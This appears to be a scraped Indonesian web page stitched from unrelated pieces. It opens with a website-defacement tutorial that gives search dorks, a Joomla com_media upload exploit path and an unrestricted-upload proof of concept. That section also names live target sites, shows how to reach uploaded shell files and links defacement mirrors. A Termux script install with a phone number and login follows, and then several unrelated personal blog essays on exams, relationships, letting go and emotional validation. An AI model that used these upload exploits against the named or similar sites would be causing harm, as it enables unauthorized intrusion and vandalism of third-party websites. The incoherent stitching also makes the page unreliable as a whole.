Dork : - inurl:/upload site:.onion.to
- intext:"Upload" site:.onion.to
Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php
Step By Step :
1. Dorking Dulu
2. Pilih Web Target
3. Pilih File yang mau di'upload
4. Tinggal klik Upload => Done 😆
Contoh Target :
https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html
https://danwin1210.me/uploads/lopeyou.html
https://temp.xn--wda.fr/e719x8JgJ.html
Mirror?! 😆
https://www.defacer.id/296011.html
https://www.defacer.id/296024.html
cara4
Metode com media
Bahan :
1. Dork : - inurl:com_media site:com
- inurl:com_media intext:"Upload"
2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=
3. Upload'an : Format .txt 😁
Live Target : http://www.james-insurance.co.uk/
Step by Step :
gunakan Live Targert dulu untuk Uji Coba 😁
1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk
2. Pilih salah satu Web
3. Masukkan Exploit
4. Lalu Upload file dalam tempat upload ( format .txt )
Akses shell ?
Tambahkan : /images/namafile.txt
contoh : http://www.james-insurance.co.uk/images/fac.txt
Nanti Jadi Gini Hasilnyaa..
Mudah Bukan?! Tinggal Upload ke Defacer.id 😁
cara5
[POC] Vulnerability Simplicity Of Upload
#Step 1:
Dork: “Powered By: © Simplicity oF Upload”
#Step 2:
Exploit: http://[situstargetkamu]/PATH/upload.php
*Tergantung dengan target.
#Step 3:
llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html)
#Step 4:
Preview: http://[situstargetkamu]/upload/[Your File]
#Step 5: Live Demo:
http://www.railfaneurope.net/pix/upload.php
http://www.formplas.com/upload/upload.php
Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya.
Al in one crip termux
$ apt update && apt upgrade
$ pkg install php figlet ruby python python2
$ pip2 install lolcat
$ git clone https://github.com/Rusmana-ID/rus
$ cd
$ cd rus
$ ls
$ sh v2.sh
Kontak wa 083879017166
Note: user name:Rusmana
Pasword:X-One
Risau dengan kicauan burung tengah malam, malam ini aku pun demikian. Aku memilih berhenti terbang, untuk mengukut riak dari siang yang begitu terang. Perlahan dengan tenang, aku menjahit selimut hangat untuk diriku sendiri dari air liur yang terus mengenang ketika melahirkan diksi-diksi penuh kenang di pikiran.
Aku cemas dengan berkemas. Tak seperti burung yang berbondong-bondong pindah migrasi ketika musim berganti. Dengan mudahnya mengepakkan sayap, tak semudah melangkahkan kaki. Terlebih sembari membawa hati ikut pergi.
Burung dan ranting-ranting, benarkah ini genting? Atau hanya aku yang teriak terlalu melengking?! Tidakkah ini sebenarnya mudah saja, seperti menenangkan anak kecil dengan sekotak cokelat dan balon berwarna-warni?!
Sudah sejak dulu harusnya aku mengangkat sauh (jangkar). Menjadikan burung terbang yang bergerombol dengan tenang sebagai penunjuk arah kemana kapal harus dilautkan. Tanpa kompas, aku pasti sampai ke seberang.
Kemudian menemuimu dengan telapak dan jari menggenggam, aku menatap matamu dalam-dalam. Sigap mengambil jarak yang kurang dari satu depa raksasa dan berkata; AKU MENDENDAM?! Tidak! Ini hanya rindu yang hampir selalu aku pendam!
Tidak perlu disebutkan apa saja bentuk ikhtiar yang sudah dilakukan karena Engkau lebih tau semuanya.
Tidakpun perlu membanggakannya, merasa berhak mendapatkan balasan baiknya yang setimpal, karena tidak akan pernah ada artinya jika restuMu tidak menyertainya.
Kalau ternyata sebenarnya bisa berusaha lebih baik lagi dari itu, tapi tidak terlakukan, mohon maafkan.
Kalau sebenarnya sudah melimpah kemudahan dan pertolongan yang Kau berikan, tapi tidak bisa juga memanfaatkan, mohon ampunan.
Ada airmata marah yang tertahan, pada kelemahan diri sendiri yang seperti tidak ada guna membuang malam tanpa tidur cukup, siang tanpa makan kenyang, hanya demi melahap kertaskertas berisi pilihan ganda entah tentang apaapa.
Ada keluh yang tidak pernah lampias, ada kesah yang tidak pernah puas, pada kepayahan diri sendiri yang seperti tidak tau terimakasih sudah begitu banyak dikirim nikmat.
Lalu malah menghempas semua salah pada 200 nomor pertanyaan membunuh itu begitu saja.
Bukanlah seorang pria soleh, bukanpun hamba pengabdi yang setia, malah justru seringkali banyak tanya, meragu pada yang Kau sudah pastikan benar dan nyata, membantah atas yang Kau bilang perintah, membuka pikiran terlalu lebar sehingga lupa bahwa ada Engkau sang maha segala.
Tapi apakah boleh, setidaknya, kali ini, sepenuh hati, segenap jiwa, meringkuk penuh harap dan pinta, ,agar yang salah hari ini 68 nomor saja?
hanya 66 untuk mencapai pos kedua perjalanan panjang melelahkan ini. Koma nol nol saja sudah luarbiasa.
Akan terlalu banyak hati yang dipatahkan, selain hati sendiri, jika pada akhirnya harus ada akhir yang tertunda.
Hatihati yang sudah sedemikian merendah membantu merayuMu melimpahkan berkah.
Akan terlalu banyak harap yang dikecewakan, selain harap sendiri, jika pada akhirnya harus ada ujung yang tersendat.
Harapharap yang sudah sedemikian yakin tidak akan dikhianati kenyataan.
Entah apalagi yang harusnya sekarang diminta.
Kemudahan? Pertolongan? Ketenangan?
Engkau sudah berikan semuanya bahkan dalam jumlah yang tidak bisa diterka.
I’ve tried my best, Tuhan.
i really hope i had
Kalo kata beberapa media tuh, millenial itu rata-rata manja dan nggak setia. mereka kutu loncat, senang berganti-ganti pekerjaan. mereka ingin kebebasan dalam bekerja, tetapi juga ingin kepastian dalam berpendapatan. mereka merasa dirinya sangat berarti dan mahal–meskipun kemampuannya pas-pasan, hmmmm. mereka ingin hidup yang aman secara keuangan, tetapi gaya sosialita diutamakan–walaupun penghasilan mepet dengan cicilan.
saya milenial, saya mengamini sebagian kata-kata tersebut. kalau kita buat pencarian di internet dengan kata kunci boss vs leader, gambar-gambar tentang sikap bossy rasanya dekat dengan sebagian para milenial: tukang tunjuk dan malas melakukan. inginnya yang mudah, cepat, tetapi harus tetap hebat.
mungkin ada di sekitar kita, mungkin malah orang yang demikian adalah kita: menolak kalo dimintain tolong (dengan berbagai alasan padahal alasan utamanya nggak punya skill yang cukup untuk melakukan hal tersebut), menghindar kalo diajak belajar (dengan kesan bahwa kita sudah jago dan nggak perlu belajar padahal malu karena nggak bisa apa-apa), takut kepada kritik dan saran (sehingga memilih tertutup untuk dinilai orang), terlihat sibuuuuuukk melulu tapi nggak ada hasilnya (yah supaya tampak ada kerjaan aja). lalu, senang menyalahkan orang lain kalo sesuatu berjalan nggak sempurna. di sisi lain, mengaku-ngaku dan mengklaim kontribusi saat prestasi kecil teraih. huahhh.
well, good luck living your life with that attitude! silakan pelihara sombongmu, angkuhmu, egomu, malasmu, manjamu. tapi, jangan sambat bahkan marah-marah dan iri jika yang lain sudah jauh melangkah sedangkan kamu nggak kunjung berubah. jangan menyesal kalo kamu nggak ke mana-mana.
inspirasi itu tercipta saat kita melakukan, begitu hukumnya. diri kita akan mendapat pencerahan apabila kita sungguh-sungguh melakukan, nggak hanya memikirkan. orang lain akan mendapat teladan apabila kita dengan nyata melakukan, nggak hanya menyebutkan.
maka, lakukanlah dengan segenap diri! jangan hanya memikirkan, jangan hanya menyebutkan. lakukanlah usaha yang sedikit lebih banyak untuk hasil yang banyak dan lebih banyak. jadilah sukarelawan, nggak berarti harus ikut bakti sosial atau mengabdi ke pelosok-pelosok, menawarkan bantuan kepada rekan sejawat juga bisa jadi sangat berarti. belajarlah dari semua jenis tanggung jawab, mulai dari tugas mengangkat galon, masang selang gas elpijihhh sampai dengan tugas memimpin proyek penting.
saat kita menyumbang terjadinya perubahan, sesungguhnya nilai kita baru nol. kita bersekolah, bekerja, berkarya, hidup–semua untuk perubahan kan? nilai kita baru plus kalo udah bisa memberikan makna pada perubahan yang kita buat. perubahan yang bermakna itu hanya akan tercipta kalo kita benar-benar melakukan dan mengambil bagian.
bersambung…
(selamat menjalankan ibadah puasa ramadhan)
Beberapa hari yang lalu, salah satu temen gue ada yang abis putus cinta. Padahal, jadiannya pas awal-awal pandemi covid, tapi ini pandemi belum kelar, eehh udah putus aja wkwk kesian. Pas dia cerita ya gue ledekin dulu, gue ketawain juga. Itu pacaran apa becanda doang cuy buset cuma sekelebat, Bebek aja kalo mandi agak lamaan wkwkwk. Makin gue ledekin pas dia bilang, selama pacaran tuh ketemu cuma empat kali. Lah, kocak. Seringan juga gue ketemu sama kang bubur ayam depan stasiun cuy daripada dia ketemu pacarnya. Hehe
Tapi nih ya, ngomongin soal menjalin hubungan di masa pandemi, kondisinya emang nggak banget sih menurut gue. Cause, di satu sisi lo akan kuatir dan takut pasangan lo kenapa-kenapa, tapi di sisi lain lo pengen ketemu karena udah mbandreng kangen dan bosen di rumah aja, ndekem aja. Terus solusinya apa? Tinggal serumah? Yeuuuu, nggak sedangkal itu juga kali cuyyyy.
Gue sih nggak mau yang jumawa gitu bilang kehidupan jomblo lebih baik daripada yang punya pacar ya. Cuma, kalo boleh beropini, menurut gue pribadi, being single is an experience you should try once in a lifetime sih. Ada sensasi tersendiri aja gitu. Tapi bukan berarti menjadi lajang atau jomblo itu bebas dari tanggungan loh ya!.
Ya ngapurone kalo daritadi omongan gue ngaco ngalor ngidul ngetan ngulon, namanya juga jomblo, kasi kebebasan dikit laaaah wwkwk.
Well, balik lagi ke topik single is an experience (menjadi jomblo adalah sebuah pengalaman). Gue pernah banget kenal sama orang yang nggak bisa banget kalo nggak punya pasangan, dia tuh paling lama jomblo ya seminggu doang weh, abis itu pasti nemu aja pasangan, entah dikenalin orang, kenal sendiri, atau pake aplikasi kencan. Gue pernah nanya, kenapa dia nggak betah sendirian, dan jawabannya ; “kalo bisa berdua kenapa harus sendiri?”. Well, orangnya memang punya urge to recieve affection yang besar. Jadi kalo sehari aja nggak dishayang-shayang, wow meriang.
Gue nggak nyalahin orang modelan begitu sih. Bebas aja, silakan, sekarepmu. Hanya saja capek ngga sih, ngegantungin kebahagiaan ke orang lain?
Rata-rata orang itu suka bilang kalo jomblo bisa bebas kemana-mana, bebas ngapa-ngapain, nggak ada yang ngatur-ngatur ini itu, nggak ada yang harus dikabarin blablabla dll. Sebenernya sih lo juga bisa begitu kalopun lo punya pasangan, tergantung jenis pasangan lo aja seposesif apa. Kalo lo sama pasangan setuju buat open relationship ya bisa lebih leluasa lagi kan. Jadi sebenernya glorifikasi kehidupan jomblo yang kayak begini tuh udah ngga relevan lagi menurut gue mah.
Mungkin abis gue ngomong gitu ada yang nyautin; tapi, apa nggak lebih capek kalo cuma deket doang nggak ada statusnya terus-terusan gitu? Hah!!
Cuy, hidup ini tu emang bikin capek dan ruwet. Semua kegiatan, keputusan, dan intrik dalam kehidupan tuh pasti akan sampai di titik bikin kita capek. Tinggal pilih aja mau capek yang versi mana(?).
Lo mau jomblo atau berpasangan sebenernya just a matter of label doang, sih. Kalopun secara label lo nggak punya pasangan resmi, tapi lo punya orang atau orang-orang yang bisa jadi sarana lo menerima dan memberikan afeksi, tanpa ikatan yang ada namanya, sebenernya nggak ada bedanya sama lo punya pasangan sih. Nangkep nggak maksud gue? Kalo nggak yasudah.
Mungkin kamus sosialnya menyebut ini TTM dll, ahhh whatever. Pada akhirnya ketika lo punya significant other, ekspektasinya adalah adanya ide berupa keberadaan orang lain yang into you, ya nggak sih? Karena pada akhirnya, komitmen is another thing to pursue.
Komitmen itu jauhhh lebih kompleks daripada sekedar jomblo atau nggak jomblo, ya ini menurut gue. Ada terms and conditions, ada deal, ada visi misi dsbnya. Kompleks. Gue nggak bilang ribet ya, tapi kompleks. So definitely, it’s simply just not for everyone. It’s just an option. Yaa sebuah pilihan. Hehe terserah anggapan lo aja ding.
Tapi yoweslah daripada ribet-ribet mikirin definisi, pada akhirnya nggak memungkiri sih gue, bahwa manusia butuh ide itu. Ide adanya manusia lain yang stay around, ada saat dibutuhkan, jadi media pemberi dan penyalur afeksi. Tinggal bedanya, apakah si manusia ini kudu diiket dengan terms and conditions, atau let it be the way it is.
Beberapa orang bisa aja nyaman dengan kesendiriannya, menjadikan dirinya sendiri sebagai si significant other. Yo orapopo juga. Bebas. Goals akhirnya hidup tentram bahagia kan?
Kesepian itu nggak enak, gue tau itu. Cuma, definisi kesepian tiap orang kan beda-beda. Ada yang jomblo tapi ngga merasa kesepian karena temennya banyak atau gebetannya bervariasi sana-sini atau hidupnya penuh kejutan dan kesibukan yang menyita waktu. Ada yang punya pacar tapi berasa kesepian (ada banyak ekekek). Setiap orang punya mekanismenya masing-masing untuk mengatasi kesepian tersebut, dan nggak melulu dalam bentuk dan wujud manusia lain.
Akan selalu ada momen pas kita melihat pasangan uwu gitu terus kita kayak semacam, “duhhh gue kapan ya”, tapi nanti setelah kita punya kesempatan untuk uwu-uwuan juga sama pasangan, terus kita seperti berbalik menjadi, “hadeehh apaan sih ini”. Siklus memang ada-ada aja ya cuy. Heehe
Jadi sebenernya kalo gue, just let it be the way it is. Nikmatin cara masing-masing aja lah. Punya pasangan yo monggo, nggak punya pasangan juga yo monggo. Yang jomblo ada aja yang happy, ada juga yang nelangsa dan gemrungsung. Pun sama halnya dengan mereka yang berpasangan. Hidup dan segala keribetannya akan tetap terjadi, mau lo punya pasangan atau enggak.
Dan terkadang, justru yang membuat segala keribetan itu terasa ringan dan do-able, bukan melulu pasangan. Bisa siapa aja.
Gilakk,,, gilakk. Kapan lagi gue mendadak bijak begini. Wkwkwk muntah seladang.
Yoweslah, daripada gue berubah jadi pak Mario Teguh, mending kita akhiri saja episode kali ini. Masih sama gue, pesanlucky, kita sambung lagi esok lusa entah kapan hehe. Stay safe dan jangan lupa selalu lakukan 3M : mencuci tangan, memakai masker, menjaga jarak. Okeee!!
Selintas, statement judul diatas terdengar satir, atau mungkin cabul. Tapi pada satu titik, pernyataan diatas menjadi inti dari keseluruhan wacana yang membahas masalah letting go, atau melepaskan.
Gue tidak akan menuliskan halhal seperti how to let go atau how to finally move on. Tidak perlu, sepertinya, karena gue sendiri sebenarnya belum bersertifikasi pro dalam perkara ini. Gue mencoba beberapa cara populer yang gue kira ampuh, tapi ternyata, gue berhasil gagal. Bergerak satu sentimeterpun tidak. Gue hanya berlari, di atas sendal jepit yang ditusuk paku (efek putus tp masih bagus).
Gue pernah berusaha membenci. Gue mengumpulkan banyak halhal yang tidak gue sukai, yang bertentangan dengan prinsip hidup, idealisme, atau sesepele halhal yang secara personal bukan menjadi preferensi gue, tanpa alasan spesifik. Gue membuat daftar halhal menjijikkan, pengalaman mengesalkan, segala sakit hati dan airmata selama periode keemasan itu terjadi. Gue mengutuk, mengumpat, menjelekjelekkan di setiap sesi nyampah bersama satu dua orang kepercayaan. Gue marah, kesal, murka, lalu muak.
Apakah gue berhasil melepaskan setelah itu? nggakkk!!
Gue justru makin attached. Liat benda2 dari masa lalu dikit, gue marah. Ga sengaja kedenger lagu yang dulu pernah jadi soundtrack, gue badmood. Lewat jalanan atau tempat yang dulu pernah didatangi, gue murka. Gue jadi mudah teragitasi. Gue malah jadi makin inget.
Terus begitu pemeran utamanya muncul lagi, dibaikin dikit dikedipin dikit, gue lupa semua kemarahan yang gue ciptakan. Gue cuma bisa freeze. Entah terlalu marah, entah terlalu lemah.
hah sampah!!
Gue kemudian mencoba usaha berikutnya yang tidak kalah populer; menghindari keterpaparan.
Gue menjauh, menghapus kontak2 yang tidak diperlukan, menyingkirkan barang2 yang mengingatkan, menarik diri dari kerumunan yang mungkin mempertemukan, menghilang dari peredaran. Gue menghapus setiap history chat, kotak pesan, riwayat panggilan telepon, sampai delete permanen akun sosmed dan bahkan andaikan bisa gue mau menghapus ingatan gue yang terkait. Gue menghindar setiap ditanya, memilih jalan lain ketika dari jauh sudah terlihat akan berpapasan, menjauh dari apapun yang mungkin memapar.
Apakah kali ini gue berhasil???
Masih nggakkk!!
Makin gue menghindari, makin gue akan dihadapkan. Gue tetep ingat setiap nano partikel yang pernah menjadi bagian episode2nya. Begitu kesempatan mempertemukan dan gue tidak bisa lagi menghindar kemanamana, gue stuck ditempat. Digentayangi. Trauma sendiri.
ahh payahh..
ahh lemahh..
Selanjutnya gue mencoba cara baru; mendistraksi.
Gue menyibukkan diri, mencari hal-hal seru yang mengokupasi pikiran dan memenuhi hari-hari. Gue mengasah skill2 baru, belajar ilmu2 baru, bertemu orang2 baru. Gue menulis banyak tulisan, membuat banyak puisi, menganalisis banyak artikel ilmiah (kadang-kadang) . Gue mengambil kerjaan ini itu, menonton film sampai larut dileptop, membaca berbagai jenis dan genre buku, mendengarkan musik-musik cadas atau up beat atau berlirik padat atau dalam bahasa yang tidak gue mengerti. Gue memaksa diri supaya kelelahan dan tidak sempat lagi memikirkan apa-apa karena mengantuk. Gue mendengarkan berbagai masalah orang-orang random, orang-orang yang baru gue kenal atau bahkan orang asing sekalipun.
Kemudian gue berhasil melepaskan?
Tetep enggak!!.
Gue masih tanpa sadar menulis halhal dengan satu sumber inspirasi, memberi solusi atas masalah orang berdasarkan pengalaman pribadi terkait sumber yang sama. Disetiap pergolakan kemuakan, gue masih sensitif terbawa suasana mellow untuk nanar menatap langit-langit sebelum tidur, dengan kilas balik pahit manis yang pernah dilewati. Sesekali menyesal, sesekali legowo. Sesekali sedih, sesekali biasa saja, sesekali bodo amat.
Tapi setidaknya cara distraksi ini tidak membuat gue rugi terlalu banyak. Gue jadi dapat teman baru, kemampuan baru ilmu baru, insight2 baru, sudut pandang baru, referensi buku bagus. Ini cara yang paling gue sukai, meskipun tidak bisa dibilang berhasil.
Yaudalahyaaa…
Belakangan akhirnya gue menyadari satu hal;
letting go isn’t about forgetting, neither is stop caring about.
Kayak lagi pegang tali aja sih. Makin ditarik kenceng, tangan makin sakit. Letting go bukan tentang motong talinya, atau menghentak talinya, tapi mengendurkan pegangannya. Lemesin aja bro, jangan dilawan.
Gue mungkin tidak akan melupakan, tapi perasaan2 ketika ingat tidak lagi menjadi sesuatu yang mengganggu, in a painful way. Gue mungkin masih tetap akan peduli atau perasaan intinya tidak akan berubah, tapi cara gue mempedulikan atau meng-embrace perasaan gue itu tidak lagi se-ngotot dan se-egois sebelumnya.
Seperti kata Deborah Reber di buku Chicken Soup for Teenage Soul milik teman yang pernah saya baca saat masih STM;
Letting go doesnt mean that you dont care about someone anymore, it’s just realizing that the only person you really have control over is yourself.
Iya, gue sadar penuh kalo gue tidak punya kendali atas apa yang terjadi pada orang lain, entah itu pikirannya, entah itu perasaannya. Gue tidak akan pernah punya kendali apaapa. Tidak seharusnya gue memaksakan kehendak, apalagi mengintervensi kehidupan orang lain hanya atas preferensi personal.
Sebuah artikel di psychology today pernah bilang begini;
Is there anything you can’t get over? Yes and no. You don’t get over it, but you might find a different place to put it. You don’t forget it, but the thought no longer intrudes. You don’t pretend it wasn’t bad, but you have a sense that you can heal. We don’t get over the past. We get past it. artinya “Adakah yang tidak bisa Anda lewati? Iya dan tidak. Anda tidak bisa melewatinya, tetapi Anda mungkin menemukan tempat yang berbeda untuk meletakkannya. Anda tidak melupakannya, tetapi pikiran itu tidak lagi mengganggu. Anda tidak berpura-pura itu tidak buruk, tetapi Anda merasa dapat menyembuhkan. Kami tidak bisa melupakan masa lalu. Kami bisa melewatinya”.
Yeah, people. We dont.
Manusia kadang sudah susah-susah mengubur masa lalu, menimbunnya dengan masamasa baru. Dikiranya, dengan membenci, menghindar, mengalihkan, semuanya akan baikbaik saja, lalu bisa berteriak ke dunia bahwa dia sudah melepaskan. Padahal, semua itu masih ada di tempat yang sama. Tidak kemanamana. Ketika terkenang, pedihnya kembali lagi, tidak berubah.
Kalau sudah begitu, senjata terakhir biasanya menyalahkan. Meminta waktu berputar ulang dan membatalkan pertemuan yang menghasilkan badai di masa depan itu. Padahal, ketika pegang tali dan tangan sakit, yang salah bukan talinya. Tapi cara pegangnya. Jadi kalo mau tangannya ga sakit, simply, pegangnya jangan kuatkuat. Kasih kendor sedikit.
Gue tidak tahu dimana fungsi konsep ikhlas dalam kasus ini. Masih terlalu absurd buat gue menerima konsep ikhlas, yang menurut gue sebenarnya terlalu general. Ikhlas dalam hal apa? Membenci? Menghindar? Menyibukkan diri? Melepaskan? Apa ada melepaskan yang tidak ikhlas? Atau kalau melepaskan sudah pasti ikhlas? Pasti?
Ikhlas itu, apa? atau jangan-jangan ikhlas tapi tidak rela?
Terserah. Gue sudah terlalu banyak menghabiskan waktu memikirkan definisi, menerjemahkan berbagai hal selama gue hidup. Pada akhirnya yang paling krusial dan gue butuh pelajari saat ini adalah; menerima. (yaaa, karna bahagia yang sebenarnya adalah menerima)
Iya, menerima bahwa gue ada halhal yang tidak bisa gue ubah. Menerima bahwa beberapa hal sudah berubah, meski tidak sesuai dengan yang gue inginkan dan harapkan. Menerima bahwa episode yang meminta gue perankan sudah tamat. Menerima bahwa gue punya episode baru untuk dimainkan.
Lalu setelah menerima, gue punya kekuatan tambahan untuk melepaskan.
Gue masih ingat suatu siang di kamar mess yang masih berantakan dan bau kotoran kucing. Seorang teman baik menghampiri gue dengan senyum adem sekali sambil nanya;
‘So, she must be special, mustn’t she?’
Gue cuma pasang muka bego,
‘Hah? Apaan sih haha haha’
Then he said,
‘Oh come on, I could see it in your eyes. I never see you staring at people the way you stare at her. It’s different. It’s warm yet bright in the same time’
‘Did I?’
Hanya itu yang bisa gue katakan selanjutnya. Gue lebih ke bertanya sama diri sendiri, sebenernya. Gue tidak pernah menyadari itu.
Ya, mungkin kalau gue sekarang kembali dipertemukan, gue masih akan menatap dengan cara yang sama, dengan warm and bright yang sama seperti yang dilihat teman gue. Tapi apa yang gue pikirkan, rasakan, dan harapkan ketika itu terjadi beberapa tahun lalu, akan jauh berbeda dibanding jika itu terjadi sekarang.
Apa yang gue pikirkan, rasakan, dan harapkan sekarang, sudah ada dalam pengaruh keinginan gue untuk melepaskan. Gue mengendurkan attachment, melonggarkan pegangan, lalu menyerahkan hasil akhir pada kemungkinan demi kemungkinan. Kalau masih ada kesempatan memiliki episode yang bersinggungan kelak, syukurlah. Kalau tidak ada lagi episode yang bersinggungan sampai akhir hayat, yasudah. Gue tidak dalam posisi ngoyo, ataupun mengemis memintaminta.
Gue merasa berhak hidup lebih ringan, tenang, damai. Pada akhirnya yang bisa gue kendalikan hanya hidup gue sendiri. Hanya gue yang akan bertanggungjawab terhadap apa yang terjadi pada diri gue sendiri.
Oh dan tentu saja, gue masih sangat bahagia ketika gue mendengar kabar bahagia nun jauh disana itu. Apapun prestasi, pencapaian, keputusan dan pilihan yang membuat bahagia disana, maka akan mengirim resonansi bahagia sampai kesini. Gue tidak pernah bercanda atau mencoba dangdut sembari joged dalam konteks ini.
Makanya, bahagia2 aja terus ya.
Btw gue kalo gabut betah banget deh nulis genre beginian. Pokonya kalo ada tulisan menyemenye gini berarti gue lagi gabut atau lagi lepas kendali,
lemaaahhh… payaaahhh.
ah yasudahh
Sekian dan terimagajiii
Gue sedang belajar untuk benarbenar menjadi pendengar yang ingin mengerti, bukan menanggapi. Pelajaran ini tidak benarbenar sulit untuk gue yang pada dasarnya memang tidak terlalu suka bicara, pun sulit percaya dengan manusia lain dalam hal membicarakan masalah personal.
Tapi pelajaran ini menjadi benarbenar sulit ketika gue bertemu dengan manusia yang sangat self-centered serasa alam semesta berevolusi mengitarinya. Sulit sekali menahan diri untuk tidak membalas dengan bitter, menanggapi dengan cerita personal gue yang much better than their life in their mind, atau minimal mem-pokerface mereka dengan default muka yang bisa membuat mereka tersinggung.
Mendengarkan memang perkara gampang-gampang susah. Tapi harusnya kita sepakat kalau yang namanya bicara, pada akhirnya punya tujuan untuk dimengerti. Jadi ketika ada yang bicara, harusnya kita paham kalau dia butuh dimengerti, bukan ditanggapi, bukan juga ngasih kita panggung buat ngebales.
Manusia kadang ga sadar ketika mendengarkan orang lain, mereka cuma purapura fully listen, padahal hanya selectively hear certain parts dari percakapan tersebut atau fokus sama katakata yang dibilang, bukan makna keseluruhannya. Ketika mendengarkan, yang terpikir di kepala kadang adalah ini ntar gue nanggepin apa ya, abis ini gue bilang ini nih, gue nanya itu ah, blablabla.
Tanpa sadar kita mem-filter yang kita dengar dengan pengalaman kita, referensi personal kita, ambang batas kita.
Kalau kata Covey tuh; you check what you hear against your autobiography and see how it measures up.
haha sedih sih..
Sedihnya paling kerasa ketika gue yang sedang ada di posisi yang minta didengarkan. Ketika gue belum selesai cerita udah dipotong, di-judge seolah dia tau gue bakal ngomong apa lagi selanjutnya, ditanya2in dengan pertanyaan yang mengarah ke personal reference dia, ujuG2 ngasih nasihat padahal belum gue minta, atau menganalisa secara sotoy tentang alasan dibalik perilaku gue.
Mencari manusia yang mau mendengarkan bukan untuk showing off susah. Then let’s just learn how to be one.
Pada akhirnya mendengarkan itu mudah, karena kita toh punya telinga. Yang susah ya satu perkara doang, mengalahkan ego dengan kesadaran penuh bahwa the world doesnt revolve around us.
Biarkan manusia berceloteh sampai tuntas. Ketika mereka memutuskan celotehannya gue dengarkan, berarti mereka punya harapan untuk dimengerti. Maka yang seharusnya gue lakukan ya berusaha memengerti. Untuk bisa memengerti ya gue harus dalam keadaan silent, tidak memotong sampai mereka selesai, tidak memberi petuah atau tanggapan tanpa mereka pinta. Gue perlu liat broad point dari apa yang mereka maksud, berada di posisi netral sebelum tahu informasi dari segala sisi untuk dipihak.
Karena ketika gue sedang bicara, i want others treat me so.
Gue butuh banyak latihan, banyak sekali latihan, mendengarkan.
Mau membantu gue ga?
Sini, gue dengerin ekekekek
Ngga jadi ding, wedi mbok dadi sayang ekekekekek
Okee cukup sekian dan terima nasi bungkus pake ikan asin karetnya dua ya.
Sumber : https://pesanlucky.wordpress.com/2019/12/17/belajar-menjadi-pendengar/
Akhir-akhir ini gue menyadari satu hal, bahwa ada yang lebih penting dan lebih gue butuhkan dari sekedar dihibur dan ditenangkan, yaitu; perasaan gue divalidasi.
Gue besar dengan segenap halang rintang yang akhirnya membuat gue terbiasa menekan banyak sekali jenis emosi, nggak benar-benar living it to the fullest, bahkan cenderung membantingnya ke emosi yang berlawanan, entah karena apa. Hmmm
Misal, ketika gue sedang marah, gue menahan rasa marah itu, lalu tiba-tiba marahnya berubah jadi rasa bersalah karena gue nggak seharusnya marah. Atau gue sedang senang, gue menahan rasa senang itu karena ada hal-hal buruk yang masih terjadi, jadi gue nggak seharusnya merasa senang. Atau gue sedang ingin sendu dan lemah sekali, tapi gue anak tengah yang harus tetap cool tegar dan nggak menye-menye, sehingga gue menahan tangis sekuat tenaga.
Malangnya, gue tumbuh di tengah lingkungan yang meng-invalidasi (if that’s even a word) perasaan-perasaan itu terus menerus, sehingga gue akhirnya tanpa sadar melakukannya terus menerus juga terhadap diri gue sendiri.
Bahkan, bentuk invalidasi itu sudah mendarah daging dan terasa seolah-olah sebagai bentuk pertolongan, bentuk niat baik.
Dan gue, melakukannya sendiri, ke diri sendiri, berkali-kali, selama ini.
“ah udahlah, gitu doang”
“nanti juga terlewati”
“dihh masa gitu doang lo sedih”
“nggausah terlalu dipikirin lah”
“apaan sih cuma gitu aja kok kesinggung”
“nggak lah, ya kali lo marah”
“eittt, jangan seneng dulu”
“lo nya aja kali sensitif”
“lo ngga seharusnya ngerasa begitu”
Dan lain sebagainya.
Gitu terus. Diulang lagi. Diulang lagi. Jadi tabiat. wkwkw
Gue pikir itu baik buat gue, buat menjadi pribadi kokoh tangguh anti badai. Gue pikir itu penting buat gue untuk bertahan hidup.
Ternyata akhirnya jadi mental damage. Gue nggak pernah benar-benar merasakan sesuatu, apapun bentuk emosinya. Jadi berasa, apa ya, alienated dari diri sendiri. Boro-boro sampe self love, perasaan sendiri aja di-minimized.
Gue jadi nyadar juga, akhirnya, bahwa yang bikin lingkup circle tempat gue merengek sekarang isinya tinggal geng rumah serta itu-itu aja. Bantal, dan para meong, karena merekalah yang sedari awal nggak pernah meng-invalidasi perasaan-perasaan gue. Mereka nggak perlu kenal gue bertahun-tahun untuk melakukan itu. Mereka hanya menerima dan menyatakan langsung bahwa perasaan gue valid, gue boleh merasakan ini dan itu, nggak perlu ditahan dan nggak perlu dibanting jadi perasaan lain–sekalipun mereka nggak setuju sama gue. Mereka bisa ngga setuju tanpa meng-invalidasi emosi yang gue sampaikan.
Dan percayalah, rasanya divalidasi itu, jauh lebih tentram daripada sekedar dihibur atau ditenangkan. Ciyus nih.
Katanya, god doesnt give you more than you can handle. Well, you might have that feeling of not being able to handle this one now, and that’s valid. That’s still the one that god gives. Katanya, everything happens for a reason. Yeah, you can have a feeling and it happens for no reason, yet it’s still valid. (translate sendiri aja deh jangan manja)
You can be tough and cry every now and then, you can be the middle child and feel weak, you can be a husband and tired, you can be a passionate painter and tired of looking at palettes. You could be heartbroken by the death of a celebrity you never met. You can be lined with songs from your favorite band. You can get angry watching the antagonist in your favorite anime film.
Apapun itu, your feelings are matter. Your feelings are valid.
Perasaan yang lo rasain itu, sahih. Sekalipun itu nggak sesuai dengan anggapan mayoritas, sekalipun itu bertentangan dengan keyakinan temen-temen sekitar lo atau bahkan norma, sekalipun semua orang bilang sebaliknya. Yang punya perasaan itu lo, bukan orang lain, perasaan itu dibentuk dari proses ilmiah dalam tubuh. It’s even scientifically correct. Lo nggak harus punya perasaan yang sama dengan orang lain dalam merespon sesuatu. Seribet dan seruwet apapun perasaan itu, it’s a feeling and it meant to be named, accepted, and celebrated.
Muke gileeee.., sok canggih amat gue ngomong begini wkwkwk, padahal sendirinya masih cupu, masih juga hobi nyalah-nyalahin diri sendiri.
Gue nggak tau sih ya how to properly validate someone’s feeling. Yang gue tau, kadang orang-orang juga nggak nyadar kalo yang dia bilang itu malah jadi meng-invalidasi, padahal pasti niatnya baik. Yang gue tau, ada perasaan damai tersendiri ketika tau perasaan gue divalidasi, gue nggak salah ketika merasa a, merasa b, merasa c, sampai z.
Yang akhirnya gue tau, merasakan sesuatu sepenuh-penuhnya itu, ternyata, penting. Dan ternyata, gue belum mahir dalam kemampuan itu
